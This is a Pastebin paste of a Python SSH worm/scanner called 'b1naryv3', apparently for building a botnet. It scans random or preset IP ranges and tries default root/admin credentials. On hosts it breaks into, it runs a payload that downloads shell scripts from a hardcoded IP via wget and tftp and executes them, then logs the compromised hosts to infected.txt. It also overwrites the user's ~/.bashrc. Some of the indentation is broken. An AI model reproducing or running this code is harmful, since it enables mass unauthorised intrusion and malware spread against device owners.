Kurobeats

b1naryv3.py

Oct 16th, 2018
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 18.42 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #MUST INSTALL PARAMIKO
  4. #yum install python-paramiko -y
  5. """
  6. Usage: python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]
  7. Skype: b1narythag0d
  8. Made Date: 7-2-16
  9. """
  10. """
  11.  
  12. # ___     __________  ____ _______      _____ _______________.___.  ___    
  13. # / _ \_/\ \______   \/_   |\     \   /  _  \\______   \__  |   | / _ \_/\
  14. # \/ \___/  |    |  _/ |   |/   |   \ /  /_\ \|       _//   |   | \/ \___/
  15. #           |    |   \ |   /    |    \/    |    \   |   \\____   |          
  16. #           |______  / |___\____|__  /\____|__  /____|_  // ______|          
  17. #                  \/              \/         \/       \/ \/                
  18.                             ***B1NARY V3***
  19. """
  20. import threading, paramiko, random, socket, time, sys, os
  21. usage='python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]'
  22. if len(sys.argv) < 4:
  23.         sys.exit(usage)
  24. os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")
  25. os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
  26. paramiko.util.log_to_file("/dev/null")
  27. os.system("sysctl -w fs.file-max=999999 >/dev/null")
  28.  
  29. """
  30. ████████▄     ▄████████    ▄████████  ▄█  ███▄▄▄▄      ▄████████    ▄████████
  31. ███   ▀███   ███    ███   ███    ███ ███  ███▀▀▀██▄   ███    ███   ███    ███
  32. ███    ███   ███    █▀    ███    █▀  ███▌ ███   ███   ███    █▀    ███    █▀  
  33. ███    ███  ▄███▄▄▄      ▄███▄▄▄     ███▌ ███   ███  ▄███▄▄▄       ███        
  34. ███    ███ ▀▀███▀▀▀     ▀▀███▀▀▀     ███▌ ███   ███ ▀▀███▀▀▀     ▀███████████
  35. ███    ███   ███    █▄    ███        ███  ███   ███   ███    █▄           ███
  36. ███   ▄███   ███    ███   ███        ███  ███   ███   ███    ███    ▄█    ███
  37. ████████▀    ██████████   ███        █▀    ▀█   █▀    ██████████  ▄████████▀                                                                          
  38. """
  39. cmd='cd /tmp || cd /var/run;wget http://148.163.83.79/bin.sh;sh bin.sh;rm -rf bin.sh;tftp -r bint1.sh -g 148.163.83.79;sh bint1.sh; tftp 148.163.83.79 -c get bint2.sh; sh bint2.sh; rm -rf bint1.sh bint2.sh bin.sh\r\n' #PAYLOAD
  40. blacklist = [
  41.     '127'
  42. ]
  43. passwords = [
  44.     "root:root",
  45.     "root:toor",
  46.     "root:admin",
  47.     "root:1234",
  48.     "root:maxided",
  49.     "root:pi",
  50.     "root:alpine",
  51.     "root:r00tnull3d",
  52.     "root:r00tnull3d#",
  53.     "root:rootnull3d#",
  54.     "root:password",
  55.     "root:centos6svm",
  56.     "root:1234",
  57.     "root:123456",
  58.     "root:Love2020",
  59.     "root:Zero",
  60.     "root:Password",
  61.     "root:password",
  62.     "root:qwerty",
  63.     "root:dragon",
  64.     "root:pussy",
  65.     "root:baseball",
  66.     "root:football",
  67.     "root:monkey",
  68.     "root:696969",
  69.     "root:abc123"
  70.     "admin:admin",
  71.     "admin:1234",
  72.     "admin:Guest",
  73.     "ubnt:ubnt",
  74.     "guest:guest",
  75.     "user:user",
  76.     "test:test",
  77.     "pi:raspberry",
  78.     "vagrant:vagrant",
  79.     "localhost:root",
  80.     "B1NARY:B1NARY",
  81.     "tim:tim",
  82.     "CISCO:CISCO",
  83.     "netgear"
  84.     "support:support",
  85.     "oracle:oracle",
  86.     "cusadmin:password",
  87. ]
  88.  
  89. """
  90. ▄█     ▄███████▄         ▄████████    ▄████████    ▄██████▄  ███▄▄▄▄      ▄████████    ▄████████
  91. ███    ███    ███        ███    ███   ███    ███   ███    ███ ███▀▀▀██▄   ███    ███   ███    ███
  92. ███▌   ███    ███        ███    ███   ███    ███   ███    █▀  ███   ███   ███    █▀    ███    █▀  
  93. ███▌   ███    ███       ▄███▄▄▄▄██▀   ███    ███  ▄███        ███   ███  ▄███▄▄▄       ███        
  94. ███▌ ▀█████████▀       ▀▀███▀▀▀▀▀   ▀███████████ ▀▀███ ████▄  ███   ███ ▀▀███▀▀▀     ▀███████████
  95. ███    ███             ▀███████████   ███    ███   ███    ███ ███   ███   ███    █▄           ███
  96. ███    ███               ███    ███   ███    ███   ███    ███ ███   ███   ███    ███    ▄█    ███
  97. █▀    ▄████▀             ███    ███   ███    █▀    ████████▀   ▀█   █▀    ██████████  ▄████████▀  
  98.                         ███    ███                                                              
  99. """
  100. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  101. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  102. lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  103. lucky2 = ["119.91","119.92","119.93","113.53"]
  104. lol = ["1","2","5","119","180","113","125","122","46","101",""]
  105. load = ["125.25","125.26","125.27","119.92","119.93","180.180","113.53","185.52"]
  106.  
  107. """
  108.   ▄███████▄    ▄████████    ▄████████    ▄████████       ▄████████  ▄██████▄    ▄▄▄▄███▄▄▄▄   ▀█████████▄   ▄██████▄     ▄████████
  109.  ███    ███   ███    ███   ███    ███   ███    ███      ███    ███ ███    ███ ▄██▀▀▀███▀▀▀██▄   ███    ███ ███    ███   ███    ███
  110.  ███    ███   ███    ███   ███    █▀    ███    █▀       ███    █▀  ███    ███ ███   ███   ███   ███    ███ ███    ███   ███    █▀  
  111.  ███    ███   ███    ███   ███          ███             ███        ███    ███ ███   ███   ███  ▄███▄▄▄██▀  ███    ███   ███        
  112. ▀█████████▀  ▀███████████ ▀███████████ ▀███████████      ███        ███    ███ ███   ███   ███ ▀▀███▀▀▀██▄  ███    ███ ▀███████████
  113.  ███          ███    ███          ███          ███      ███    █▄  ███    ███ ███   ███   ███   ███    ██▄ ███    ███          ███
  114.  ███          ███    ███    ▄█    ███    ▄█    ███      ███    ███ ███    ███ ███   ███   ███   ███    ███ ███    ███    ▄█    ███
  115. ▄████▀        ███    █▀   ▄████████▀   ▄████████▀       ████████▀   ▀██████▀   ▀█   ███   █▀  ▄█████████▀   ▀██████▀   ▄████████▀                                                                                                                                  
  116. """
  117.  
  118. if sys.argv[4] == '1':
  119.     passwords = ["root:root", "root:admin", "admin:1234"]
  120. if sys.argv[4] == '2':
  121.     passwords = ["root:root", "root:toor", "root:admin", "admin:1234", "oracle:oracle", "root:alpine"]
  122. if sys.argv[4] == 'routers':
  123.     passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password"]
  124. if sys.argv[4] == 'perl':
  125.     passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  126. if sys.argv[4] == 'ubuntu':
  127.     passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ]
  128. if sys.argv[4] == 'root':
  129.     passwords = [ "root:root","root:test" ]
  130. if sys.argv[4] == 'vps1':
  131.     passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Love2020", "root:Zero", "root:Password", "root:password"]
  132. if sys.argv[4] == 'vps2':
  133.     passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
  134. if sys.argv[4] == 'vps3':
  135.     passwords = [ "root:maxided", "root:centos6svm", "root:football", "root:monkey", "root:696969", "root:abc123"]
  136. if sys.argv[4] == 'r00ted':
  137.     passwords = [ "localhost:root", "B1NARY:B1NARY", "root:r00tnull3d#", "root:Flunzy2016", "bash:root"]
  138. if sys.argv[4] == 'brute':
  139.     passwords = [ "root:centos6svm", "root:root", "root:toor", "root:abc123", "root:maxided"]
  140. if sys.argv[4] == 'lol':
  141.     passwords = [ "admin:1234"]
  142.  
  143. """
  144. ▄█     ▄███████▄       ▄████████  ▄█          ▄████████    ▄████████    ▄████████    ▄████████    ▄████████
  145. ███    ███    ███      ███    ███ ███         ███    ███   ███    ███   ███    ███   ███    ███   ███    ███
  146. ███▌   ███    ███      ███    █▀  ███         ███    ███   ███    █▀    ███    █▀    ███    █▀    ███    █▀  
  147. ███▌   ███    ███      ███        ███         ███    ███   ███          ███         ▄███▄▄▄       ███        
  148. ███▌ ▀█████████▀       ███        ███       ▀███████████ ▀███████████ ▀███████████ ▀▀███▀▀▀     ▀███████████
  149. ███    ███             ███    █▄  ███         ███    ███          ███          ███   ███    █▄           ███
  150. ███    ███             ███    ███ ███▌    ▄   ███    ███    ▄█    ███    ▄█    ███   ███    ███    ▄█    ███
  151. █▀    ▄████▀           ████████▀  █████▄▄██   ███    █▀   ▄████████▀   ▄████████▀    ██████████  ▄████████▀  
  152.                                  ▀                                                                          
  153. """
  154. ipclassinfo = sys.argv[2]
  155. if ipclassinfo == "A":
  156.     ip1 = sys.argv[3]
  157. elif ipclassinfo == "B":
  158.     ip1 = sys.argv[3].split(".")[0]
  159.     ip2 = sys.argv[3].split(".")[1]
  160. elif ipclassinfo == "C":
  161.     ips = sys.argv[3].split(".")
  162.     num=0
  163.     for ip in ips:
  164.         num=num+1
  165.         if num == 1:
  166.             ip1 = ip
  167.         elif num == 2:
  168.             ip2 = ip
  169.         elif num == 3:
  170.             ip3 = ip
  171. """
  172.   ▄████████    ▄████████    ▄█    █▄            ▄████████  ▄████████    ▄████████ ███▄▄▄▄   ███▄▄▄▄      ▄████████    ▄████████
  173.  ███    ███   ███    ███   ███    ███          ███    ███ ███    ███   ███    ███ ███▀▀▀██▄ ███▀▀▀██▄   ███    ███   ███    ███
  174.  ███    █▀    ███    █▀    ███    ███          ███    █▀  ███    █▀    ███    ███ ███   ███ ███   ███   ███    █▀    ███    ███
  175.  ███          ███         ▄███▄▄▄▄███▄▄        ███        ███          ███    ███ ███   ███ ███   ███  ▄███▄▄▄      ▄███▄▄▄▄██▀
  176. ▀███████████ ▀███████████ ▀▀███▀▀▀▀███▀       ▀███████████ ███        ▀███████████ ███   ███ ███   ███ ▀▀███▀▀▀     ▀▀███▀▀▀▀▀  
  177.         ███          ███   ███    ███                 ███ ███    █▄    ███    ███ ███   ███ ███   ███   ███    █▄  ▀███████████
  178.   ▄█    ███    ▄█    ███   ███    ███           ▄█    ███ ███    ███   ███    ███ ███   ███ ███   ███   ███    ███   ███    ███
  179. ▄████████▀   ▄████████▀    ███    █▀          ▄████████▀  ████████▀    ███    █▀   ▀█   █▀   ▀█   █▀    ██████████   ███    ███
  180.                                                                                                                      ███    ███
  181. """
  182. class sshscanner(threading.Thread):
  183.     global passwords
  184.     global ipclassinfo
  185.     if ipclassinfo == "A":
  186.         global ip1
  187.     elif ipclassinfo == "B":
  188.         global ip1
  189.         global ip2
  190.     elif ipclassinfo == "C":
  191.         global ip1
  192.         global ip2
  193.         global ip3
  194.     def run(self):
  195.         while 1:
  196.             try:
  197.                 while 1:
  198.                     thisipisbad='no'
  199.                     if ipclassinfo == "A":
  200.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  201.                     elif ipclassinfo == "B":
  202.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  203.                     elif ipclassinfo == "C":
  204.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  205.                     elif ipclassinfo == "BRAZIL":
  206.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  207.                     elif ipclassinfo == "SUPER":
  208.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  209.                     elif ipclassinfo == "LUCKY":
  210.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  211.                     elif ipclassinfo == "LUCKY2":
  212.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  213.                     elif ipclassinfo == "RAND":
  214.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  215.                     elif ipclassinfo == "INTERNET":
  216.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  217.             elif ipclassinfo == "LOAD":
  218.                         self.host = random.choice(load)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  219.                     else:
  220.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  221.                     for badip in blacklist:
  222.                         if badip in self.host:
  223.                             thisipisbad='yes'
  224.                     if thisipisbad=='no':
  225.                         break
  226.                 username='root'
  227.                 password=""
  228.                 port = 22
  229.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  230.                 s.settimeout(3)
  231.                 s.connect((self.host, port))
  232.                 s.close()
  233.                 ssh = paramiko.SSHClient()
  234.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  235.                 dobreak=False
  236.                 for passwd in passwords:
  237.                     if ":n/a" in passwd:
  238.                         password=""
  239.                     else:
  240.                         password=passwd.split(":")[1]
  241.                     if "n/a:" in passwd:
  242.                         username=""
  243.                     else:
  244.                         username=passwd.split(":")[0]
  245.                     try:
  246.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  247.                         dobreak=True
  248.                         break
  249.                     except:
  250.                         pass
  251.                     if True == dobreak:
  252.                         break
  253.                 badserver=True
  254.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  255.                 output = stdout.read()
  256.                 if "inet addr" in output:
  257.                     badserver=False
  258.                 if badserver == False:
  259.                         print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  260.                         ssh.exec_command(""+cmd+"")
  261.                         time.sleep(20)
  262.                         ssh.close()
  263.             open("infected.txt","a").write(username+":"+password+":"+self.host+"\n")
  264.             except:
  265.                 pass
  266.  
  267. for x in range(0,int(sys.argv[1])):
  268.     try:
  269.         t = sshscanner()
  270.         t.start()
  271.     except:
  272.         pass
Advertisement
Add Comment
Please, Sign In to add comment